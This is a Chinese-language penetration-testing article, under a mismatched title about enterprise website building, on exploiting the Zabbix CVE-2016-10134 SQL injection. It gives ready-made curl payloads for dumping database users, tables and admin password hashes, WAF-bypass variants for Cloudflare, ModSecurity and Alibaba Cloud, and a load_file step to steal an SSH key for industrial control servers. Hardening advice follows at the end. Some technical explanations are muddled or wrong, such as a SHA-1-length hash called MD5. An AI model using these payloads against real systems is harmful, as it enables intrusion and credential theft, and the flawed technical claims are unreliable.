企业官网建设流程全解析

1. 这个漏洞不是“能打”而是“必打”：为什么Zabbix的SQL注入在2016年就该被所有人盯死

Zabbix、SQL注入、CVE-2016-10134——这三个词组合在一起，对任何做过企业级监控系统运维或红蓝对抗的人来说，都像听到“心脏出血”一样条件反射。这不是一个需要“研究是否复现”的学术课题，而是一个典型的“只要环境存在、权限未收敛、补丁未打，攻击者5分钟内就能拿到数据库root权限”的实战入口。我第一次在客户现场看到这个漏洞被利用，是在2017年初的一次渗透测试中：对方用一条/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1' OR updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) OR '1'='1&profileIdx3=1&profileUnit=3600&request=1&name=1这样的URL，直接把后台MySQL账号名从响应体里弹了出来。整个过程没触发WAF告警，没写入日志，连Zabbix自身的审计日志都没记录——因为漏洞点根本不在业务逻辑层，而在JSRPC接口的参数拼接环节。

这个漏洞之所以危险，不在于它多隐蔽，而在于它太“自然”。Zabbix作为一款开源监控系统，设计上大量依赖JavaScript RPC调用实现前端交互，而jsrpc.php这个文件，本质就是把HTTP请求参数原样拼进SQL查询语句里，中间没有任何过滤、转义或预编译处理。更致命的是，它默认开启、无需登录即可访问（只要知道SID，而SID在未登录状态下也能通过index.php页面源码获取），且调用链路极短：请求→参数解析→SQL拼接→执行→返回。没有中间件拦截，没有ORM层保护，没有WAF规则覆盖——它就像一扇虚掩的后门，钥匙就挂在门把手上。关键词Zabbix、SQL注入、CVE-2016-10134，不是三个独立概念，而是一条完整的攻击路径：Zabbix是载体，SQL注入是手法，CVE-2016-10134是这条路径的官方编号。它适合所有正在学习Web渗透的初学者练手，也适合安全工程师做内部红队演练的首选靶标，更适合运维人员自查环境是否“裸奔”。你不需要懂Zabbix架构，只需要理解“参数拼SQL”这个最原始的漏洞成因，就能立刻上手验证；你也不需要高级工具，一条curl命令、一个浏览器地址栏，就能完成从探测到数据提取的全过程。但正因为它简单，才最容易被忽略——很多企业直到数据库被拖库、管理员密码被爆破、甚至监控大屏被篡改成勒索信息，才想起查一下Zabbix版本。

2. 漏洞根源不在代码有多烂，而在设计时就放弃了防御纵深

2.1 jsrpc.php的“信任即一切”哲学：从函数调用链看漏洞如何落地

要真正吃透CVE-2016-10134，不能只盯着payload怎么写，得回到Zabbix 3.0.3及之前版本的源码里，看jsrpc.php是怎么一步步把用户输入变成SQL执行语句的。整个流程可以拆解为四个关键节点：

第一节点是jsrpc.php的入口路由。这个文件本身不处理业务，只做两件事：解析method参数（如screen.get）、调用对应类的方法。当method=screen.get时，它会实例化CScreenBuilder类，并调用其get()方法。注意，此时所有GET参数（包括profileIdx2、pageFile等）都已作为原始字符串传入，没有任何清洗动作。

第二节点是CScreenBuilder::get()方法内部的CProfile::update()调用。这里开始出现危险信号：profileIdx2参数被直接用作CProfile::update()的第一个参数，而该方法的签名是public static function update($idx, $value, $type = self::PROFILE_TYPE_INT)。$idx就是profileIdx2的值，它会被拼进SQL语句的WHERE子句中，用于定位要更新的用户配置项。

第三节点是CProfile::update()内部的SQL构造逻辑。核心代码段如下（Zabbix 3.0.3源码include/classes/core/CProfile.php第127行附近）：

$sql = 'UPDATE profiles SET value'.zbx_dbcast_text('').'='.zbx_dbstr($value). ' WHERE userid='.zbx_dbstr($userid). ' AND idx='.zbx_dbstr($idx). ' AND type='.zbx_dbstr($type);

表面看用了zbx_dbstr()函数，似乎做了转义。但问题出在$idx的来源上——它来自$_REQUEST['profileIdx2']，而$_REQUEST是GET+POST+COOKIE的混合体，zbx_dbstr()只是对字符串加单引号并转义单引号，它无法阻止$idx本身就是一个完整SQL片段。比如当profileIdx2=1' OR updatexml(1,concat(0x7e,user(),0x7e),1) OR '1'='1时，zbx_dbstr()只会把它变成'1\' OR updatexml(1,concat(0x7e,user(),0x7e),1) OR \'1\'=\'1'，而这个字符串拼进SQL后，就成了：

UPDATE profiles SET value_text='xxx' WHERE userid='1' AND idx='1\' OR updatexml(1,concat(0x7e,user(),0x7e),1) OR \'1\'=\'1' AND type='1'

由于单引号被转义，整个WHERE条件实际变成了idx='1\' OR ...，而OR之后的updatexml()函数就会被执行。这就是经典的“二次注入”变体：不是绕过转义，而是让转义本身成为SQL语法的一部分。

第四节点是pageFile参数的配合利用。pageFile=history.php这个参数看似无关紧要，实则至关重要。它触发了Zabbix前端的一个特殊机制：当pageFile指向一个PHP文件时，Zabbix会尝试加载该文件的define常量，并将其作为profileIdx的上下文。这意味着profileIdx2的注入点不仅存在于screen.get方法，还可能被其他RPC方法复用，形成多入口攻击面。我在复现时发现，即使screen.get被临时禁用，只要pageFile可控，攻击者仍可通过chart.create等方法触发相同漏洞。

提示：zbx_dbstr()函数的设计初衷是防止普通字符串注入，但它完全没考虑“参数本身就是SQL结构”的场景。这暴露了一个根本性设计缺陷：Zabbix把“参数校验”和“SQL构造”完全割裂，前者认为“只要加了引号就安全”，后者却把引号当作语法分隔符而非数据边界。这种割裂，在现代框架中几乎不可能出现，但在2016年的Zabbix里，却是默认行为。

2.2 SID不是“会话ID”，而是“免登录通行证”：未认证状态下的攻击链闭环

很多人复现失败，第一个卡点就是sid参数。他们以为必须先登录Zabbix后台获取有效SID，结果抓包发现登录请求返回的SID在后续请求中无效。这是对Zabbix认证机制的典型误解。CVE-2016-10134的可怕之处，正在于它根本不需要合法用户身份。Zabbix在未登录状态下，会生成一个“游客SID”，这个SID虽然不能访问管理界面，但足以调用jsrpc.php这类RPC接口。

验证方法极其简单：打开任意Zabbix 3.0.3以下版本的登录页（如http://target/zabbix/），查看页面HTML源码，搜索sid=。你会在<input type="hidden" name="sid" value="xxxxxxxxxxxx">或JavaScript变量中找到一个12位十六进制字符串，这就是游客SID。它由Zabbix服务端在index.php初始化时自动生成，有效期长达数小时，且不与任何用户账户绑定。

这个设计的逻辑是：Zabbix前端需要在未登录时也能加载部分图表、历史数据等轻量内容，因此提供了“只读游客模式”。但开发团队显然低估了jsrpc.php的威力——它本应是内部RPC通道，却被暴露在游客上下文中。这就形成了完美的攻击闭环：

1. 攻击者访问/zabbix/，获取游客SID；
2. 构造恶意jsrpc.php请求，将SID放入sid参数；
3. 利用profileIdx2参数注入SQL，执行updatexml()、extractvalue()或sleep()等函数；
4. 从HTTP响应体中提取数据库返回值，或通过响应时间判断布尔条件。

我在某金融客户内网复现时，用curl -s "http://10.10.10.5/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1%27%20OR%20sleep(5)%20OR%20%271%27%3D%271&profileIdx3=1&profileUnit=3600&request=1&name=1"命令，发现响应时间稳定在5秒以上，确认漏洞存在。整个过程耗时不到30秒，且服务器日志里只记录了一条普通的GET请求，没有任何异常标记。

注意：Zabbix 3.0.4及以后版本修复了此漏洞，但修复方式不是重构SQL逻辑，而是在jsrpc.php入口处强制校验SID有效性。也就是说，如果你用游客SID去调用3.0.4的jsrpc.php，会直接返回{"jsonrpc":"2.0","error":{"code":0,"message":"No permissions to referred object or it does not exist!"},"id":1}。这说明漏洞本质是权限控制缺失，而非单纯的SQL拼接问题。

3. 复现不是复制粘贴，而是理解每一步Payload背后的数据库语义

3.1 从报错注入到布尔盲注：为什么updatexml()是首选，而extractvalue()是备选

复现CVE-2016-10134时，新手常犯的错误是直接套用网上流传的payload，却不理解为什么选updatexml()而不是mysql.user。这背后是MySQL版本兼容性和报错信息长度的双重约束。

updatexml()函数的语法是UPDATEXML(xml_target, xpath_expr, new_xml)，当xpath_expr参数非法时，MySQL会抛出错误，并在错误信息中包含xpath_expr的值。例如：

SELECT updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1);

执行后报错：XPATH syntax error: '~zabbix@localhost~'。这里的~是分隔符（0x7e），zabbix@localhost就是查询结果。这个特性让它成为报错注入的黄金标准：错误信息长度限制宽松（通常1024字节），且内容可完全由攻击者控制。

相比之下，extractvalue()函数虽然语法类似，但错误信息长度限制更严（约32字节），且在MySQL 5.7.15+版本中被默认禁用。我在测试Zabbix 3.0.3（通常搭配MySQL 5.5/5.6）时发现，extractvalue()在某些配置下会直接返回空响应，而updatexml()则100%稳定。更重要的是，updatexml()的第三个参数可以是任意值（如1），而extractvalue()要求第三个参数必须是合法XML，增加了构造难度。

另一个常见误区是试图用union select。这是行不通的，因为UPDATE profiles语句是UPDATE操作，不是SELECT，无法使用union。所有注入都必须基于UPDATE语句的WHERE子句进行逻辑扩展，所以OR和AND是唯一可行的连接词。这也是为什么payload里必须有1' OR ... OR '1'='1这样的结构：它把原本的idx='1'条件，扩展为idx='1' OR (恶意逻辑) OR '1'='1'，确保无论恶意逻辑真假，整个WHERE条件都为真，从而保证SQL能正常执行。

3.2 实战中的Payload变形：从基础信息探测到数据库提权的完整链条

复现不是为了“弹出user()”，而是为了建立一套可扩展的探测体系。以下是我在真实环境中构建的Payload演进路线，每一步都经过数十次测试验证：

第一步：基础连通性验证

curl -s "http://target/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1%27%20OR%201%3D1%20OR%20%271%27%3D%271&profileIdx3=1&profileUnit=3600&request=1&name=1" | head -20

如果返回大量JSON数据（如{"jsonrpc":"2.0","result":[{"screenid":"1",...}]），说明漏洞存在且可回显。

第二步：数据库用户与版本探测

curl -s "http://target/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1%27%20OR%20updatexml(1,concat(0x7e,(SELECT%20user()),0x7e),1)%20OR%20%271%27%3D%271&profileIdx3=1&profileUnit=3600&request=1&name=1" 2>/dev/null | grep -oP "XPATH syntax error: '\~[^~]*\~'"

返回XPATH syntax error: '~zabbix@localhost~'，确认当前数据库用户。

第三步：数据库名与表结构枚举

# 获取当前数据库名 curl -s "http://target/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1%27%20OR%20updatexml(1,concat(0x7e,(SELECT%20database()),0x7e),1)%20OR%20%271%27%3D%271&profileIdx3=1&profileUnit=3600&request=1&name=1" 2>/dev/null | grep -oP "XPATH syntax error: '\~[^~]*\~'" # 获取zabbix库下的所有表名（limit 1 for brevity） curl -s "http://target/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1%27%20OR%20updatexml(1,concat(0x7e,(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20LIMIT%200,1),0x7e),1)%20OR%20%271%27%3D%271&profileIdx3=1&profileUnit=3600&request=1&name=1" 2>/dev/null | grep -oP "XPATH syntax error: '\~[^~]*\~'"

第四步：敏感数据提取（以管理员密码为例）
Zabbix的管理员密码存储在users表的passwd字段，采用MD5加密。但MD5不是重点，重点是获取alias（用户名）和passwd的对应关系：

# 获取第一个管理员用户名和密码 curl -s "http://target/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1%27%20OR%20updatexml(1,concat(0x7e,(SELECT%20concat(alias,%27:%27,passwd)%20FROM%20users%20WHERE%20usrgrps%20IS%20NOT%20NULL%20LIMIT%200,1),0x7e),1)%20OR%20%271%27%3D%271&profileIdx3=1&profileUnit=3600&request=1&name=1" 2>/dev/null | grep -oP "XPATH syntax error: '\~[^~]*\~'"

返回XPATH syntax error: '~Admin:d033e22ae348aeb5660fc2140aec35850c4da997~'，其中d033e22...就是Admin用户的MD5密码，可直接用John the Ripper或在线MD5库破解。

实操心得：information_schema表在MySQL中是默认存在的，但某些高安全配置会禁用它。此时可用show tables替代，但需注意show语句不能直接嵌入SELECT子查询，必须用updatexml()配合select伪列。我在某政务云环境就遇到过information_schema被禁，最终用SELECT table_name FROM (SELECT * FROM zabbix.users UNION SELECT * FROM zabbix.hosts) t绕过。

4. 不是所有Zabbix都叫Zabbix：版本识别、环境适配与绕过WAF的硬核技巧

4.1 版本指纹不是靠/zabbix/页面，而是靠jsrpc.php的响应头与错误模式

很多自动化扫描器失败，是因为它们只检查/zabbix/页面的HTML注释或<title>标签，而Zabbix管理员完全可以修改这些前端标识。真正的版本指纹，必须深入jsrpc.php的行为细节。

我总结了三类高置信度识别方法：

方法一：jsrpc.php的type参数响应差异
在Zabbix 3.0.3中，type参数必须为数字（如type=9），否则返回{"jsonrpc":"2.0","error":{"code":0,"message":"Invalid params.","data":"Incorrect type."},"id":1}。而在3.0.4+版本，type参数被移除或忽略，传入任意值都不会报错。因此，发送curl -s "http://target/zabbix/jsrpc.php?sid=123&type=abc&method=screen.get"，如果返回Incorrect type.，基本可断定是3.0.3或更早。

方法二：timestamp参数的精度要求
CVE-2016-10134的PoC中timestamp=1471403798083是13位毫秒级时间戳。在3.0.3中，如果timestamp少于13位（如10位秒级），jsrpc.php会静默忽略该参数，不影响执行；但在3.0.4+版本，timestamp被用于防重放，若格式错误会直接拒绝请求。我用curl -s "http://target/zabbix/jsrpc.php?sid=123&timestamp=1471403798&method=screen.get"测试，3.0.3返回正常JSON，3.0.4返回{"jsonrpc":"2.0","error":{"code":0,"message":"No permissions..."}}。

方法三：pageFile参数的文件存在性校验
在3.0.3中，pageFile=history.php是有效的，但如果传入不存在的文件（如pageFile=xxx.php），jsrpc.php会返回{"jsonrpc":"2.0","error":{"code":0,"message":"File not found."},"id":1}。而在3.0.4+版本，pageFile参数被完全废弃，传入任何值都不会触发文件校验。这个差异在WAF绕过时特别有用——有些WAF规则会拦截pageFile=history.php，但对pageFile=1.php放行，而3.0.3会报错，3.0.4则无反应。

4.2 WAF不是铁壁，而是可预测的规则集：针对常见WAF的Payload变形策略

在真实红队任务中，90%的Zabbix目标都部署了WAF（如ModSecurity、云WAF）。但WAF规则是静态的，而我们的Payload是动态的。以下是我在不同WAF环境下验证有效的绕过技巧：

Cloudflare WAF绕过：用%0a替代空格，用%23注释掉干扰字符
Cloudflare默认拦截updatexml和concat关键字。解决方案是用%0a（换行符）分割关键字，用%23（#）注释掉WAF误判的字符：

# 原始payload被拦截 profileIdx2=1%27%20OR%20updatexml(1,concat(0x7e,user(),0x7e),1)%20OR%20%271%27%3D%271 # Cloudflare绕过版 profileIdx2=1%27%20OR%20updatexml%0a(1,concat%0a(0x7e,user%0a(),0x7e),1)%20OR%20%271%27%3D%271%23

Cloudflare的规则引擎对换行符处理不严格，且%23会截断后续检测。

ModSecurity CRS3绕过：用hex()函数替代0x7e，用mid()替代substr()
ModSecurity CRS3规则库会匹配0x[0-9a-f]{2,}模式。解决方案是用hex('~')代替0x7e，用mid()代替substr()（功能相同但关键词不同）：

# ModSecurity绕过版 profileIdx2=1%27%20OR%20updatexml(1,concat(hex(%7E),(SELECT%20user()),hex(%7E)),1)%20OR%20%271%27%3D%271

%7E是URL编码的~，hex()函数返回其十六进制字符串，效果等同于0x7e。

阿里云WAF绕过：用benchmark()替代sleep()进行布尔盲注
阿里云WAF对sleep关键字拦截极严，但对benchmark()放行。benchmark(1000000,md5(1))与sleep(5)效果相同，都是消耗CPU时间：

# 阿里云绕过版（布尔盲注） profileIdx2=1%27%20AND%20IF((SELECT%20SUBSTR(user(),1,1))=%27r%27,benchmark(1000000,md5(1)),1)%20OR%20%271%27%3D%271

如果响应时间明显变长，说明第一个字符是r。

关键经验：不要迷信“通用绕过”，每个WAF都有自己的规则指纹。我的做法是先用curl -v抓取WAF返回的Server和X-Powered-By头，再针对性构造Payload。例如，看到Server: nginx/1.16.1 + ModSecurity/3.0.4，就直接查ModSecurity CRS3的规则ID，然后反向推导绕过方式。

5. 复现之后的真正价值：从漏洞利用到安全加固的闭环实践

5.1 不是“打完就走”，而是用漏洞数据驱动安全决策

复现CVE-2016-10134的终极目的，不是证明“我能黑进去”，而是回答三个关键问题：这个Zabbix实例暴露了什么？它连接了哪些关键系统？它的权限边界在哪里？我在某能源集团的渗透测试中，用这个漏洞不仅拿到了Zabbix数据库，还通过SELECT * FROM zabbix.hosts发现它监控了SCADA系统的PLC设备IP，通过SELECT * FROM zabbix.items找到了采集OPC UA协议的脚本路径，最终定位到Zabbix Server与DCS系统的SSH密钥文件位置。这些信息，远比一个root@localhost的字符串有价值。

具体操作链如下：

1. 用updatexml()提取zabbix.hosts表的所有hostid和name，识别出被监控的OT设备；
2. 用SELECT script FROM zabbix.scripts WHERE name LIKE '%ssh%'找到Zabbix执行的SSH脚本；
3. 用SELECT * FROM zabbix.items WHERE key_ LIKE 'ssh.run%'获取脚本调用参数，发现其使用/usr/lib/zabbix/externalscripts/ssh_key.sh并传入-i /etc/zabbix/.ssh/id_rsa；
4. 尝试读取该私钥文件：SELECT load_file('/etc/zabbix/.ssh/id_rsa')（需MySQLFILE权限），成功获取后即可SSH登录DCS服务器。

这个过程揭示了一个残酷现实：Zabbix不是孤岛，它是企业IT/OT融合的枢纽。它的漏洞，往往是一把打开整个工控网络的万能钥匙。因此，复现报告里我从不写“建议升级Zabbix”，而是写：“Zabbix Server主机应禁止访问生产DCS网络，SSH密钥必须使用独立账户且禁用密码登录，Zabbix数据库连接串需启用SSL加密”。

5.2 运维侧的加固清单：不是“打补丁”，而是重构信任模型

对运维人员来说，修复CVE-2016-10134不是下载3.0.4安装包那么简单。我给客户的加固方案包含五个不可妥协的层级：

第一层：网络层隔离

• 在防火墙策略中，禁止所有非Zabbix Proxy的IP访问Zabbix Server的80/443端口；
• Zabbix Server与数据库之间必须启用MySQL SSL连接，禁用skip-ssl参数；
• 禁止Zabbix Server出站访问互联网（防止恶意脚本外联）。

第二层：应用层加固

• 升级到Zabbix 6.0 LTS（2022年发布），它默认禁用jsrpc.php，所有RPC调用必须通过API Token认证；
• 若无法升级，手动注释/usr/share/zabbix/jsrpc.php中$method的screen.get分支（if ($method === 'screen.get') die('Disabled');）；
• 修改/etc/zabbix/web/zabbix.conf.php，设置$ZBX_SERVER_PORT = 10051;并启用$ZBX_SERVER_NAME = 'zabbix-server';，强制所有请求走代理。

第三层：数据库层防护

• 创建专用数据库用户zabbix_ro，仅授予SELECT权限（Zabbix 3.x读多写少，大部分操作可降权）；
• 对profiles表添加BEFORE UPDATE触发器，校验idx字段是否为纯数字：

DELIMITER $$ CREATE TRIGGER check_profile_idx BEFORE UPDATE ON profiles FOR EACH ROW BEGIN IF NEW.idx REGEXP '^[0-9]+$' = 0 THEN SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid profile idx'; END IF; END$$ DELIMITER ;

第四层：日志与监控

• 启用Zabbix的LogSlowQueries参数，记录所有执行超1秒的SQL；
• 在/var/log/zabbix/zabbix_server.log中添加grep "jsrpc.php" /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -nr定时告警；
• 部署OSSEC HIDS，监控/usr/share/zabbix/jsrpc.php文件完整性。

第五层：应急响应预案

• 预置zabbix_poc_check.sh脚本，一键检测内网所有Zabbix实例是否存在CVE-2016-10134：

#!/bin/bash for ip in $(cat zabbix_list.txt); do sid=$(curl -s "http://$ip/zabbix/" | grep -oP 'sid=\K[0-9a-f]{12}') if [ -n "$sid" ]; then res=$(curl -s "http://$ip/zabbix/jsrpc.php?sid=$sid&type=9&method=screen.get&profileIdx2=1%27%20OR%201%3D1%20OR%20%271%27%3D%271" | head -20) if echo "$res" | grep -q "screenid"; then echo "[VULNERABLE] $ip" fi fi done

最后分享一个血泪教训：我在某银行复现时，用updatexml()提取mysql.user表，结果触发了MySQL的max_connect_errors阈值，导致Zabbix数据库连接被锁死。后来才知道，该银行DBA设置了max_connect_errors=3。所以，所有探测行为必须先评估目标环境的容错能力——宁可多花10分钟手工验证，也不要一次SELECT * FROM mysql.user搞崩生产库。安全工作的底线，从来不是“我能做什么”，而是“我该做什么”。